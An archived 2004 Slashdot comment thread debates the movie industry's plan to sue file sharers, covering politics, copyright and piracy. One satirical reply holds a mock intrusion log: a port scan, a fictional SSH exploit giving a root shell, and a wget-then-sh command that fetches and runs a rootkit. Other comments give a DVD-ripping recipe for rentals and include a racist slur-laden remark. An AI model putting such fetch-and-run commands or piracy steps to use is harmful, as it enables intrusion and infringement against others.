Please create an account to participate in the Slashdot moderation system

 


Forgot your password?
Close
typodupeerror
×
Movies Media The Internet Your Rights Online

Movie Industry to sue File Sharers 572

Posted by samzenpus from the juast-a-matter-of-time dept.
Wack Valenti writes "SiliconValley.com reports that the motion picture industry, taking a cue from the RIAA, is planning to file copyright infringement lawsuits against file sharers it says are illegally distributing movies online. The first suits could be filed as early as tomorrow."
This discussion has been archived. No new comments can be posted.

Movie Industry to sue File Sharers More

Movie Industry to sue File Sharers

Comments Filter:

  • Starting tomorrow morning? (Score:2, Funny)

    by Anonymous Coward
    I look forward to the morning mail.

    • Not so long ago, the EFF suggested just this. (Score:5, Interesting)

      by turnstyle ( 588788 ) on Wednesday November 03, 2004 @11:10PM (#10719439) Homepage
      It wasn't all that long ago that the EFF suggested that the entertainment industry should be suing infringers [com.com].

      • Re:Not so long ago, the EFF suggested just this. (Score:5, Insightful)

        by Anthony Boyd ( 242971 ) on Thursday November 04, 2004 @12:54AM (#10720252) Homepage

        What bugs me about the EFF statement is that they've backed away from it. I thought it was right all along to sue the individuals responsible for copyright infringement, and I still do (although I'm crass enough to make disparaging comments about the RIAA/MPAA as they sue). I currently use Kazaa to share out a handful of audio sermons from my church's pastor -- content that we own the copyrights to and are fully, legally allowed to distribute however we wish. So I have a vested interest in Kazaa and BitTorrent remaining legal. They have a legitimate use: they diminish the load on our Web server (and by extension, the cost) by distributing the load.

        As the Web sites I volunteer for begin experiementing with video and other large chunks of data, it is imperative that technology assist us in moving forward. If we artifically limit the technology, then we will be unable to offer up content, even though we own the copyright on it, and wish to provide it for free!

        Of course, suing thousands of naive kids and tech-illiterate grannies isn't really going to stop an onslaught of millions of infringers, and does have a chilling effect on legitimate uses such as mine, and does play right into the old line about making all citizens into criminals to keep them under control. So even though it's the right way to do it, I'm not sure what good it does.

    • Now that we have proven... (Score:5, Insightful)

      by IBitOBear ( 410965 ) on Wednesday November 03, 2004 @11:20PM (#10719555) Homepage Journal
      Now that we have proven we are sheeple who will roll over for just about anything as long as the spin is right, why *SHOULDN'T* they sue?

      As far as I am concerned, at this point we should all be doing our best to hasten the decline.

      Everybod jump on the pendlum and push. It's gotta swing trough it's arc before there will be any relief. The United States of America has to legislate and litigate itself into its role as a backwater far off the information super-highway, before anything here can get fixed.

      The sooner the rest of the world leaves us in the economic and Intellectual Property [sic] dust, the better.

      In fact, if the corporations can make enough of a mess SOON ENOUGH, it could even prevent the stupid legislation.

      Sue Away, MPAA! (hey it rymes, it should be their new slogan! 8-)

      As environmental pressure increases, the organisim is forced to evolve.

      So it will be _best_ for the world if we can all get the pressure up as fast as possible.

      Plus we know how much credibility the US now has overseas. The more they win here, the freer the rest of the world will be. They *know* (hopefully) that if they follow our lead, then they will enevitably end up with a Bush of their own.

      • Re:Now that we have proven... (Score:5, Insightful)

        by NoMoreNicksLeft ( 516230 ) <john.oylerNO@SPAMcomcast.net> on Wednesday November 03, 2004 @11:38PM (#10719731) Journal
        The pendulum analogy is flawed. It assumes that there is some natural universal law that dictates that once things reach their limit, it is inevitable that it swing back the other way. This is indeed true when applied to certain situations, but nothing says that it applies to every situation, or even to this one.

        The MPAA has the financial resources and the political might to possibly "tie" that pendulum down as soon as it swings far enough their way. If you help swing it, are you so certain that they won't nail it in place at the edge of its arc?
        • Usually when a system swings so far to one extreme it can't return, it's called broken.

        • Politics and Business Pendlum analogy works (Score:5, Insightful)

          by IBitOBear ( 410965 ) on Thursday November 04, 2004 @12:47AM (#10720196) Homepage Journal
          It is not as flawed as you presume. The period is highly unstable and subject to external forces, but eventually it swings.

          When you repress your own businesses, the market goes elsewhere. That is the free market theory at least. To date the swing of the pendlum often leaves countries totally devistated in its wake if it goes to far, but the regions recover even if the political systems don't.

          I beleive that the current economic trends are tanamount to disaster and if the "ugly" can come on fast enough to be noticed by the populace they may act to fixe it.

          We are boiling frogs here (to mix a metaphore). If the "Broadcast flag" (for instance) were to "suddenly go live tomorrow" it would be gone in a year. If we let it ease in slowly we may be stuck with it for decades.

          As it is now, the "rising rate-rate of litigation" (yes, rate twice) is enough that our economic partners around the world are starting to notice and scatter. But consider that this change of rate has been exhibited almost solely in my lifetime (or more correctly in Ralph Nader's professional lifetime). It has not yet become ensconsed in our "perminant" way of life, it hasn't outlived a generation cradle-to-grave. It isn't "tradition", so it is possible to escape it *IF* we can get the public to see the precipice.

          I don't really "wish" for the colapse as some kind of nielist orgastic ideal. I have just become convinced that it is essentially enevitable.

          (To continue to mix metaphores) we *really* need to pull the band-aid(tm) off quick, or we are going to lose a _heck_ of a lot of hair... 8-)

          But even if the entire United States colapses economically (which would be hard to do given that we grow lots of food) business and creativity will simply rise somewhere else.

          It's not a pretty pendulum. It's not a "local" pendulum. But the cycle persists.

          Wehn it gets totally out of wack, we (editorial we not royal or possessive we) throw a war...

          Oh wait...

          How many wars does any given "we" get before the world calls a time-out? 8-)

      • Re:Now that we have proven... (Score:5, Insightful)

        by suckmysav ( 763172 ) <suckmysav AT gmail DOT com> on Wednesday November 03, 2004 @11:47PM (#10719772) Journal

        "As far as I am concerned, at this point we should all be doing our best to hasten the decline. Everybod jump on the pendlum and push. It's gotta swing trough it's arc before there will be any relief. The United States of America has to legislate and litigate itself into its role as a backwater far off the information super-highway, before anything here can get fixed."

        Amen to that brother! I was rooting for Shrub to win the election for that very reason! He is pretty much despised (and rightly so) down here in Australia, and you'd better believe that the people I told that to reacted with shock and disbelief.

        The sooner the U.S. destroys itself, the sooner the rest of us can carry on our lives without being subjected to every base pop media fad to emerge from the rancid American slum-culture de jour.

        Just why a middle class Australian would want to emulate the lifestyle of a crack addicted black urban slum dweller eludes me.


        • Just why a middle class Australian would want to emulate the lifestyle of a crack addicted black urban slum dweller eludes me.

          Actually they don't. That was the whole point of the election. More people think that morals are more important than Bush's unnecessary wars or the massive deficit. Those same people probably have kids who are as red voting as them.

          While I do see that morals are important, I don't think they are as important as the other topics. Besides, to me, moral issues are personal, not
      • Please. There is no country in the world where its >legal to bootleg movies.

        You don't have the right to the latest movies. If you think they're not worth paying for or waiting for them to come out on video, then dont watch them. Three minute songs that are half samples anyways are one thing, but hours and hours of film and TV? Be honest people.
        • It'll be legal on my floating island, and I'll call it Piratopia. BOW DOWN!
        • Three minute songs that are half samples anyways are one thing, but hours and hours of film and TV?

          TV/movies/books/music/wahtever. If you can justify pirating one of them, you can justify pirating any of them. They're all morally equal in my book.

          Oh, I almost forgot games, PC, xbox, etc. They're good too. ITs all just a risk/reward calculation. What are the chances of getting cought, and identified through my isp, and prosecuted, and convicted? (not very high, and even less here in Canada). As long as

    • Movie-goers Sue Movie Industry (Score:4, Funny)

      by Anonymous Coward on Wednesday November 03, 2004 @11:31PM (#10719665)
      For making nothing but shit, year after year.

  • Stargate Atlantis (Score:5, Interesting)

    by Anonymous Coward on Wednesday November 03, 2004 @11:09PM (#10719431)
    I got a warning letter from my friends at MGM and bay TSP about illegally sharing my 2 episodes of stargate atlantis. I thought, hey, they are tv shows, and they arent on dvd... why would they care. Well, they did care, and they sent me a letter. And you know what? because of that letter, I havent used a p2p app since. I think that if they just focused on scaring people with letters, they would get the job done just as well, without looking evil like the RIAA

    • Re:Stargate Atlantis (Score:4, Interesting)

      by Sheetrock ( 152993 ) on Wednesday November 03, 2004 @11:21PM (#10719563) Homepage Journal
      Even if it isn't on DVD yet, sales of TV series on DVD are absolutely huge, to the point of outstripping movie sales. A good thing, given that advertising dollars are drying up (thanks to the fast-forwarding in Tivo-type devices).

      I wish they'd find a way to solve their problems without being outwardly hostile to the Internet, computer users, and/or their customers.

      • Solving Problems... (Score:3, Insightful)

        by Marnhinn ( 310256 )
        The entertainment industry realizes that they are being hostile to the internet and offending many potential consumers with the lawsuits. The problem is that there is no viable alternative at the moment.

        Honestly, look at the alternatives they have:
        Put heavy copy protection on DVD's or TV broadcasts.
        Overturn Betamax - make all recording illegal.
        Shut down the programs which allow filesharing.
        Lower prices to point of where it is not worth stealing.
        Sue downloaders / sharers.

        The only one that seems to be non-

      • Re:Stargate Atlantis (Score:3, Insightful)

        by killjoe ( 766577 )
        I have become hooked on the tv show "lost". I missed an episode last week so I downloaded it and watched it on my computer.

        Just exactly what is their beef with that? Should I have waited will the DVDs come out before I saw that episode?

        Man these people are just evil. I just want to watch your tv show for god's sake why do you have to make it do difficult for me. Don't you want me to watch the damned show?

        • Re:Stargate Atlantis (Score:3, Insightful)

          by Snaller ( 147050 )
          Man these people are just evil. I just want to watch your tv show for god's sake why do you have to make it do difficult for me. Don't you want me to watch the damned show?

          Actually no, they don't. They want you to watch their damned commercials.
      • The MPAA should stop suing people and instead concentrate on hooking people up with boyfriends and girlfriends.

        Couples got to the movies more often than individuals.

        In part that is so they can stop having to talk to each other for a while without risking offence.

  • conspiracy theorists rejoice (Score:5, Interesting)

    by Anubis350 ( 772791 ) on Wednesday November 03, 2004 @11:09PM (#10719434)
    this comes right after bush gets re-elected.
    seriously though, it is kinda interesting that after a couple years of wait and see, they've suddenly decided to file these suits after bush (friend of corporations, etc) is firmly back in power

    mod me down as flame-bait if you want, I just find it an interesting point, not conspiracy but it makes sense; they waited until they knew the party that would support them was going to be in power for a while before they moved.

    • Re:conspiracy theorists rejoice (Score:5, Informative)

      by Anonymous Coward on Wednesday November 03, 2004 @11:13PM (#10719480)
      A Democrat President, with bi-partisan congressional support, passed both the DMCA and the Sonny Bono Copyright Extension Act.

      The Ninth Circuit is considered the most liberal in the country, and yet it has been very friendly to the members of the RIAA and MPAA.

      Poor government knows no party.

    • Re:conspiracy theorists rejoice (Score:5, Insightful)

      by lukewarmfusion ( 726141 ) on Wednesday November 03, 2004 @11:15PM (#10719495) Homepage Journal
      You may not have meant it as flamebait, but it comes off that way... I don't think there's a strong argument for any correlation between these particular lawsuits and Bush's re-election.

      That said, I think there is a strong point to be made about companies being hesitant or cautious around election times.

    • Re:conspiracy theorists rejoice (Score:5, Interesting)

      by Lord Kano ( 13027 ) on Wednesday November 03, 2004 @11:15PM (#10719503) Homepage Journal
      seriously though, it is kinda interesting that after a couple years of wait and see, they've suddenly decided to file these suits after bush (friend of corporations, etc) is firmly back in power

      Hollywood was solidly backing Kerry, maybe this is their temper tantrum because "their guy" didn't win.

      LK

    • Re:conspiracy theorists rejoice (Score:5, Insightful)

      by suckmysav ( 763172 ) <suckmysav AT gmail DOT com> on Wednesday November 03, 2004 @11:22PM (#10719575) Journal
      California/Hollywood and NYC are arguably the most staunchest of Democrat stronglholds. I'm not even an American and I know that much. If anyone was going to enact laws that are "Entertainment" Industry friendly, it would be a Democrat.

      Sheesh
      • I think that Democrats are friendlier with the actors and artists than the movie and music distributors. Laws supporting the entertainment "industry" are either pork barrel from the California delegation (bipartisan) or corporate-friendly (Republican). Laws favoring corporate copyright and lawsuits are conservative territory.

        Except for laws supporting trial lawyers; those litigious bastards are all Democrats :-)

      • While the actors and musicians working in Hollywood may be mostly liberals, the owners of the studios which produce these films and records surely are not.

        Companies like Disney, which own Miramax, also broadcast Michael Savage on the radio waves.

    • Re:conspiracy theorists rejoice (Score:5, Informative)

      by TuballoyThunder ( 534063 ) on Wednesday November 03, 2004 @11:37PM (#10719725)
      Actually it is not very interesting. One of the biggest advocates of the entertainment industry is Rep Howard Berman (D-CA) [opensecrets.org]. Some of the sponsors of the INDUCE Act are Senators Hillary Clinton [opensecrets.org] (D-NY), Debbie Stabenow [opensecrets.org] (D-MI) and Paul Sarbanes [opensecrets.org] (D-MD). You can click the names to see the top contributers. It is interesting to note that neither Stabenow or Sarbanes receives much (if any) money from the entertainment industry.

      Unless you have been living on Mars for the last eight months, you might have noticed that George Bush [opensecrets.org] is not the darling of the entertainment industry. If you look at the top contributers [opensecrets.org] not one of them are from the entertainment industry. One cannot say the same for John Kerry [opensecrets.org]. The top contributors [opensecrets.org] include Time Warner and Viacom. If you look at the RNC [opensecrets.org] ($2.8M) and the DNC [opensecrets.org] ($5.7M) who do you think is more beholden to the entertainment industry?

      I think it is obvious that the actions of the entertainment industry is independent of the occupant of the White House. The Democrats are as friendly to corporations as the Republicans. If you believe otherwise, then you have tasted to much of the Kool-Aid. I hope you voted Nader, because both the Democrats and the Republicans are not for you.

  • Please (Score:5, Funny)

    by Anonymous Coward on Wednesday November 03, 2004 @11:10PM (#10719447)
    Shhh.. don't say anything about Usenet

  • What ?! (Score:4, Funny)

    by Anonymous Coward on Wednesday November 03, 2004 @11:11PM (#10719452)
    NOOOO!!!! I havent finished downloading all the episodes for my "Doctor Who" collection..

  • May I plug i2hub.... (Score:4, Interesting)

    by Dr Reducto ( 665121 ) on Wednesday November 03, 2004 @11:12PM (#10719468) Journal
    If you are at a school that is an Internet 2 node,get on i2hub. It's only open to schools on I2, so the MPAA cannot get on to see what's going on. Additionally, d/l speeds are icredible, at about 300-400KB/sec.

    I have fully moved to private networks like this, and my University's DC++ hub. I was shocked when i saw all these people at school using public networks like Kazaa (corrupted now) and Ares and BT.

    • Re:May I plug i2hub.... (Score:5, Interesting)

      by Capt'n Hector ( 650760 ) on Wednesday November 03, 2004 @11:33PM (#10719690)
      What the hell? Your university pays for Internet2 for RESEARCH and EDUCATION, not for escaping the MP/RIAA. Those had better not be my tax dollars you're wasting.

      • Re:May I plug i2hub.... (Score:4, Interesting)

        by zeromemory ( 742402 ) on Thursday November 04, 2004 @12:23AM (#10720001) Homepage
        Most universities just happen to route inter-university communications over the Internet2. Consequently, the Internet2 hub, a network for university students' file-swapping, is routed over the Internet2 and gets great speeds for it.

        Sure, the i2hub users are probably not using the Internet2 for research or education, but it's not like the users are circumventing any systems to use the Internet2 - university networks are just routed that way. If you're really concerned about i2hub users wasting your valuable tax dollars, perhaps you should contact the appropriate people and convince them to implement systems to route P2P traffic over the regular Internet.

        Besides, it might actually be CHEAPER for all this data to go over the Internet2...

  • Funny thing is.. (Score:5, Interesting)

    by SocialEngineer ( 673690 ) <invertedpanda@gmail.c3.14159om minus pi> on Wednesday November 03, 2004 @11:12PM (#10719470) Homepage
    I was told I was actually a target, by our dean of men here at my college. I have no idea why - I wasn't downloading or sharing any movies, nor could I even CONNECT to p2p networks because of the filtering systems in place (I use p2p to share security docs and my own music I have written). Yup. He said the MPAA had contacted the school and was prepared to sue if it was in necessary, or something like that. I guess I'll find out tomorrow if he was full of crap or not, won't I? :)

    • Re:Funny thing is.. (Score:4, Insightful)

      by imemyself ( 757318 ) on Wednesday November 03, 2004 @11:21PM (#10719560)
      Its not terribly surprising, they really don't care if the people their accusing is guilty or not. They're just throwing out hundreds of lawsuits in the hope that they'll get to steal a little money from people. Even if they have virtually no evidence, they'll eventually get lucky.

  • It's not legal in any case (Score:5, Insightful)

    by Dancin_Santa ( 265275 ) <DancinSanta@gmail.com> on Wednesday November 03, 2004 @11:13PM (#10719475) Journal
    'Sharing' of these copyrighted works is not legal in the first place. While it's not going to engender any great love for the film industry, this move is one of the many legal recourses that they have against copyright violators.

    To be honest, I'd rather see a return to the days of 5 dollar tickets and extra extra buttered popcorn and a Coke for a couple bucks more than see the movie industry devolve into this legal sewer. With DVD sales doing well, it becomes more and more reasonable to watch a movie in your house. With the proliferation of file-shared movies online, the quality of playback becomes less an issue as viewers get attuned to the lower bitrates.

    Personally, I'd rather go see the films in a theater and don't mind paying a couple bucks to do so. Lately, it's been getting outrageously expensive, well passed the point where one could argue that it was merely inflation. I'm not saying that file sharing would be curbed by cheaper theater tickets, god knows the addictive powers of the free movie drug. But I do think that they could really recreate the concept of the "blockbuster" with a little less take at the box office.

    In short, file sharing copyrighted works is illegal. The movie industry probably shouldn't do this, but are well within their rights to litigate. I'd like to watch movies at the theater but not pay so much.

  • Comment removed (Score:5, Funny)

    by account_deleted ( 4530225 ) on Wednesday November 03, 2004 @11:13PM (#10719479)
    Comment removed based on user account deletion

  • USENET (Score:5, Interesting)

    by Longtime Lurker ( 623962 ) on Wednesday November 03, 2004 @11:15PM (#10719498)
    This has always made me wonder. Why are they targetting just p2p and not USENET? I know you can pull down a lot of files from USENET with the benefit of a centralized server so you don't have to wait for a ton of people to jump on to get your bandwidth capped.

    I always wondered why USENET is not targetted.

    • Re:USENET (not centralized) (Score:5, Insightful)

      by IBitOBear ( 410965 ) on Wednesday November 03, 2004 @11:35PM (#10719710) Homepage Journal
      USENet isn't really all that centralized, and it isn't as well known. Nobody _really_ "administers" it and nobody with money really runs it.

      It is peer-to-peer and egalatarian as hell, but everybody (with linux anyway) already has the software and you have to search it *by* *hand*. It is SUPER EASY to forge a message, especially if the forger is an admin of a host system.... *any* host system in the net.

      Nobody really has the power to unilaterally remove any of the content in particular, and even the venerable "cancel message" can be blocked. As long as any USENET backbone exists almost any message can "pibby-back" through the "blocked" parts of the net as a crosspost.

      It is just too soft a target to really take any action against. Don't beleive me, just look at what is flowing there. The borderline kiddy-porn that is in the alt.binaries.(whatever) group is unstopable.

      Besides, there are enough stupid people involved that you can't keep titty-pictures out of alt.sex.pictures.erotica.gay.male. What a dumb waste of time to try to *send* those pictures in that forum. What a DUMB waste of time trying to STOP those pictures from being sent in that forum.

      What an _incridible_ waste of time trying to filter, find, and catch every single USENET server site in an attempt to really trace the sources of movie fragments....

      If *you* had to "go after" USENET where would *YOU* start?

      P.S. Remember: Drugs, Terrorisim, and Kiddy Porn are the root passwords to the US Constitution.

  • For those of us with DVD burners it's REALLY simpl (Score:5, Informative)

    by ShatteredDream ( 636520 ) on Wednesday November 03, 2004 @11:15PM (#10719499) Homepage
    Rent a DVD from blockbuster
    Play it with VideoLan client
    Open up dvd smartripper
    Rip the DVD
    Run the ripped files through DVD2One
    Burn to a DVD

  • Who the hell cares (Score:3, Insightful)

    by suckmysav ( 763172 ) <suckmysav AT gmail DOT com> on Wednesday November 03, 2004 @11:15PM (#10719501) Journal
    Golly, people whine on and on about the RIAA and the MPAA as if there is music and movies out there that are worth listening to or watching.

    The fact is, the stuff that comes out of the "Entertainment Industry" is 99% A-Grade crapola, and the sooner people come to realise that fact the sooner we will cease to care what these dinosaurs do to their ever-shrinking customer base.

    Get over it guys. Who cares what these numbnuts do? Go read a book and stop lining the pockets of these cretinous music and movie execs for a change.

    They're simply not worth all the angst.

    • Re:Who the hell cares (Score:3, Interesting)

      by Kenja ( 541830 )
      "the stuff that comes out of the "Entertainment Industry" is 99% A-Grade crapola"

      Then why are people breaking the law by downloading the stuff?

  • Double Standard (Score:4, Insightful)

    by Anonymous Coward on Wednesday November 03, 2004 @11:15PM (#10719507)
    Interesting that this is upsetting. I read an earlier post that considered a spammer "stealing" their time as part of a justification for it being a crime. That may be debateable, they got a good mod though for the thought, but it isn't debateable that the downloaders are stealing some one's work. The work was done for the purpose of making a living. It was a legitimate business and harmed no one. Somehow the spammer is a criminal for stealing time yet the downloader is somehow extercising some nonexistent right of free exchange of information. How is this not a double standard? Just because one benefits you and the other harms you?

  • Yawn... (Score:5, Interesting)

    by Aaron England ( 681534 ) on Wednesday November 03, 2004 @11:20PM (#10719547)
    Dear MPAA, My ipaddress is 199.2.120.89. My slashdot username is my real name. I download most of my movies off suprnova.org. Oh yea, and I'm not afraid.

    • Re:Yawn... (Score:4, Funny)

      by dukeisgod ( 739214 ) on Wednesday November 03, 2004 @11:25PM (#10719601)
      The popups are right "Warning, you are broadcasting your IP address over the internet..."

    • Re:Yawn... (Score:4, Funny)

      by dtfinch ( 661405 ) * on Wednesday November 03, 2004 @11:52PM (#10719805) Journal
      Dear MPAA, and I once downloaded Star Trek: First Contact despite already having it on tape (still have the tape, good tape), and recently downloaded Fahrenheit 9/11 because it seems the producer wanted me to. My family probably owns about 30 DVD's and 50 tapes, all purchased, but I'm sure you don't care about those little details, just like the RIAA wouldn't care about our 40 or so purchased CD's. And I've been really bad about leeching. I know I should have done my part but my upload rate is capped very low.

      Oh, I almost forgot. My local IP address is 192.168.0.100...

    • Re:Yawn... (Score:5, Funny)

      by pyrrhonist ( 701154 ) on Thursday November 04, 2004 @01:03AM (#10720304)
      Dear MPAA, My ipaddress is 199.2.120.89. My slashdot username is my real name. I download most of my movies off suprnova.org. Oh yea, and I'm not afraid.

      Dear Mr. England,

      Thank you for providing us with your machine information. We have fixed the situation to better serve your secure viewing needs:

      $ nmap -P0 -sT 199.2.120.89

      Starting nmap 3.70 ( http://www.insecure.org/nmap ) at 2004-11-03 22:47 Eastern Standard Time
      Interesting ports on 199.2.120.89:
      PORT STATE SERVICE
      22/tcp open ssh

      Nmap run completed -- 1 IP address (1 host up) scanned in 1.732 seconds

      $ supersshnuke --root-shell 199.2.120.89

      Contacting 199.2.120.89... Connected!
      Detecting SSH version... Done!
      SSH on this machine is: older than dirt
      Attempting sploit... PWNED!
      Dropping you into a root shell...

      # wget -q http://mpaa.org/rootkit/linux/suite-6.22.sh
      # sh suite-6.22.sh
      MPAA Customer Compliance Suite V6.22
      Downloading MCCS Components... 100%
      Installing MCCS... 100%
      Configuring MCCS... 100%
      Starting MCCS...
      Done!
      # tail /var/log/messages
      Nov 3 22:59:50 localhost mccs: blocked evil site "suprnova.org"
      Nov 3 22:59:56 localhost mccs: killed evil p2p application "edonkey"
      Nov 3 22:59:57 localhost mccs: killed evil p2p application "bitorrent"
      Nov 3 22:59:58 localhost mccs: killed evil p2p application "irc"
      Nov 3 23:00:10 localhost mccs: DRM compliance scan started...
      Nov 3 23:02:12 localhost mccs: deleting non-compliant file, "speed-movie.mp4"
      Nov 3 23:02:13 localhost mccs: deleting non-compliant file, "lordofrings.divx"
      Nov 3 23:02:14 localhost mccs: deleting MPAA embarrassment, "free-willy.mp4"
      Nov 3 23:02:15 localhost mccs: deleting non-compliant file, "deep-throat.mp4"
      Your computer is now safe from non-compliance. Thank you for your cooperation.

      Sincerely,
      Mortimer Snerd
      MPAA Compliance Officer

  • Wooooohooooo (Score:4, Insightful)

    by IamGarageGuy 2 ( 687655 ) on Wednesday November 03, 2004 @11:24PM (#10719593) Journal
    Glad I live in Canada and not some oppressed nation where you can go to jail for stealing a movie. Boy, you guys should get some better leadership...oops sorry wrong day. Go ahead mod me to hell.

  • Takes one to know one... (Score:5, Interesting)

    by petra13 ( 785564 ) on Wednesday November 03, 2004 @11:26PM (#10719611) Journal
    Ok, in all fairness I haven't verified whether or not this is true (feel free to correct me)- but supposedly the reason the movie industry established itself in California in the first place was because people who wanted to make movies were having patent issues with Thomas Edison. They went out west where enforcing patent law wasn't a big deal and screwed Edison out of a profit.

    So now the RIAA are going to go after people for violating copyright law and screwing them out of their profit. *Sigh* Not that it's the same people in charge now... but still. Anyone want to vote hypocritical bastards?

    • Lawrence Lessig wrote about that in his book Free Culture (freely available online). He talks about it on Page 67 [montana.edu] and shows his references on Page 317 [montana.edu]

  • Cease and Desist! (Score:5, Interesting)

    by tsm_sf ( 545316 ) * on Wednesday November 03, 2004 @11:27PM (#10719618) Journal
    Interesting... my ISP just forwarded a C&D email from the MPAA aimed at my IP address. I'll be curious (an understatement!) to see if they are successful in getting my snail mail address out of my ISP after the Verison decision.

    I /had/ a wireless router running to provide access to anyone in range (it'll be back up after I get around to blocking off everything but 80 and 25, i guess), but I'm assuming that the whole "common carrier" exemption to network traffic only applies to corporations large enough to buy their own congressman.

    So... is this the end of offering open access to your neighborhood? I have no interest in monitoring traffic over my network, but it looks like the buck stops at the little guy (as usual).

  • What exactly is the objection? (Score:5, Interesting)

    by cait56 ( 677299 ) on Wednesday November 03, 2004 @11:27PM (#10719619) Homepage

    Just a thought for consideration.

    Perhaps the RIAA's actions are objectionable not because they are protecting Intellectual Property rights, but because they are using illegal search techniques and shotgun accusation techniques in a clumbsy attempt to do so.

    I for one would have no objection to the MPAA suing people whom they have determined are offering copyrighted material for download based upon public web pages or other public directories. And where they have actually downloaded enough of the file to verify that it is indeed the copyrighted material and not just a matching file name.

    • Essentially, the objection to this is, as with the RIAA suits, that they are attempting to solve a problem of massive civil disobediance by going after a few peple and making examples of them with disproportional punishments.

      Tax avoidance is illegal and it isn't wrong for the government to enforce those laws, but I think we can all agree that it is wrong for the government to sieze all assets of somebody who missed declaring a couple of thousand dollars of income. The philosophy behind these lawsuits is: m

  • Freeway Blogging on Movie Theaters? (Score:5, Interesting)

    by Cryofan ( 194126 ) on Thursday November 04, 2004 @12:01AM (#10719862) Journal
    One way to fight the movie industry is to use freeway blogging. The movie industry is different from the music industry. A lot of their revenue comes from concentrated sources--namely these huge cineplexes that are frequently located near high traffic areas such as freeways. You could hurt them and cost them some money by placing signs on these high traffic roads near the cineplexes. The signs would tell people about the lawsuits.

    More on Freeway Blogging. [freewayblogger.com]

  • For those of you just joining ... (Score:4, Insightful)

    by Catamaran ( 106796 ) on Thursday November 04, 2004 @12:23AM (#10719999)
    If you are new to this topic, check out Downhill Battle [downhillbattle.org] or EFF [eff.org] or my website [piratesorheroes.com]. By the way, the Xmas season is almost upon us. Time to remind people that CDs make crappy presents [whatacrappypresent.com].

  • Coincidence? I think not! (Score:5, Interesting)

    by rueger ( 210566 ) * on Thursday November 04, 2004 @12:34AM (#10720094) Homepage
    Am I the only one who is spooked by the number of posts here that claim that gee whiz, "we got a letter from the MPAA or RIAA, or just plain got scared of getting arrested, and now we have completely stopped filesharing"? And don't we feel so much cleaner?

    10719431 [slashdot.org]
    10719438 [slashdot.org]
    10719453 [slashdot.org]
    10719470 [slashdot.org]
    10719614 [slashdot.org]
    10719618 [slashdot.org]
    10719643 [slashdot.org]
    • You guys all missed the point of the parent's post. Look at the slashdot ID numbers! They are all close together. It's an astroturf campaign, that's all.

  • Remember when the MPAA were the good guys? (Score:5, Insightful)

    by jgalun ( 8930 ) on Thursday November 04, 2004 @12:38AM (#10720127) Homepage
    Back when the RIAA started suing file sharers, the Slashdot party line was that the RIAA should learn from the MPAA. The MPAA, it was argued, wasn't suing its consumers, but was instead producing a higher quality product that was actually worth buying. Unlike CDs, where you paid $14 for only one or two tracks actually worth owning, DVDs came chock full of goodies that made people want to shell out the $20, like alternate endings and director's commentary.

    At the time, I called BS, and said that the only reason that the MPAA wasn't suing yet was because video piracy wouldn't take off until Internet connections got a bit faster - given that video files are much bigger than audio files.

    Well, guess what, that was exactly the case. I assure you, if FTTH becomes a reality, this will become an even bigger problem. Please, let's stop fooling ourselves that pirates are making a pseudo-moral decision that pirating from certain evil companies is ok, but pirating other products is not ok because those products are actually worth the money.

    People pirate what is easy to pirate. That's how I pirate! Audio and video cassettes made pirating copyrighted materials easier, but not particularly easy, because it takes too long to copy and distribute copyrighted materials that way.

    Computers and the Internet made this type of piracy an order of magnitude easier. Each time we get faster connections to the Internet and bigger hard drives, it gets easier still.

    Stop pretending that the companies can offer you something to stop you from pirating their products. Or next, will you be saying that, actually, while the director's commentaries and alternate endings are great, DVDs are too expensive at $20 and need to come down to $10, otherwise you'll pirate them?

    And then, what will stop you from demanding $5?

    Listen, either you're ok with pirating copyrighted works, or you're not. But stop pretending that you're only ok with it because the system is rotten. Because there is no evidence that if the threat of lawsuits were lifted and prices dropped, anything would change.

    And, also, please stop pretending that it's because the RIAA and MPAA are fighting the Internet or computers or modern technology. Last time I checked, Outkast just went platinum from online mp3 sales. iTunes sells millions of songs per year, online. The RIAA and MPAA have no problem with modern technology. But they need to make sure it works in such a way that it doesn't enable unrestricted piracy.

    • Re:Remember when the MPAA were the good guys? (Score:4, Interesting)

      by vorpal22 ( 114901 ) on Thursday November 04, 2004 @08:49AM (#10722184) Homepage Journal
      I, personally, don't pirate because of my desire to save money. I pirate because I am viciously opposed to the tactics of the RIAA and MPAA: price fixing, suing their customer base, standing in the way of P2P technology, buying politicians, etc...

      I cannot, in good faith, give money to their organizations, and I feel absolutely no shame in stealing from them, given how they're nothing but a bunch of management swine who price fix and steal from those that work for them.

      I think a company that's largely honest breeds honest customers. I, for instance, would never pay for a piece of Microsoft software on purpose. In good faith, I could not do so, because their new licensing schemes, etc... make me feel sick, and I do not want to show my support for such things. You might tell me not to use MS products then, but the reality of the situation is that in many cases, you *need* Office to get by. OpenOffice might be decent, but at least on OS X, it's ugly as sin and I'm not convinced that it's fully interoperable with MS Office.

      On the other hand, I feel compelled to pay for my Apple software, because I believe that it's reasonably cheap and that Apple cares about their customer base. I feel the same way about the independent artists I listen to, and usually buy their CDs. I'm all for supporting the little guy and very much want to do so; I just feel no qualms stealing from a filthy rich megacorporation who doesn't care about me in the slightest.
    • > And, also, please stop pretending that it's
      > because the RIAA and MPAA are fighting the
      > Internet or computers or modern technology.
      > Last time I checked, Outkast just went
      > platinum from online mp3 sales. iTunes sells
      > millions of songs per year, online. The RIAA
      > and MPAA have no problem with modern
      > technology. But they need to make sure it
      > works in such a way that it doesn't enable
      > unrestricted piracy.

      The RIAA and MPAA aren't opposing modern technology. They're opposi

  • Talk's Cheap (Score:3, Insightful)

    by tom's a-cold ( 253195 ) on Thursday November 04, 2004 @02:02AM (#10720632) Homepage
    Since the lawsuits have started, I have quit buying any products from companies represented by the RIAA. Now I will also boycott MPAA products.

    So far, my quality of life is no different than before. Maybe slightly improved by the additional money in my pocket. I spend some of it to see live music. I buy wine and books with the rest.

    It's gotten to the point where the best thing to do is to shoot your TV and spend more time taking the dog for a walk. And don't buy another CD or DVD until they end the shakedown. 86 the bastards. It's a luxury, not a necessity.

    • Re:Talk's Cheap (Score:3, Insightful)

      by mark-t ( 151149 )
      Unfortunately, you do not represent the majority of consumers. Too many other people don't care enough to be bothered changing any aspect of their lifestyle for something like this.

      It's that apathy that the MPAA and RIAA are (correctly) banking on to enable them to survive.

  • Nonstory. Cheeks have already been spread. (Score:5, Insightful)

    by GojiraDeMonstah ( 588432 ) on Thursday November 04, 2004 @02:21AM (#10720727) Homepage
    Lesssee here. You willingly re-elected a president who has done more damage to the bill of rights than any person in the country's history. A man who has shown a clear preference for the interests of large corporations over the people he is supposed to lead. So the *AA's abusive and heavy handed tactics are surprising... how?

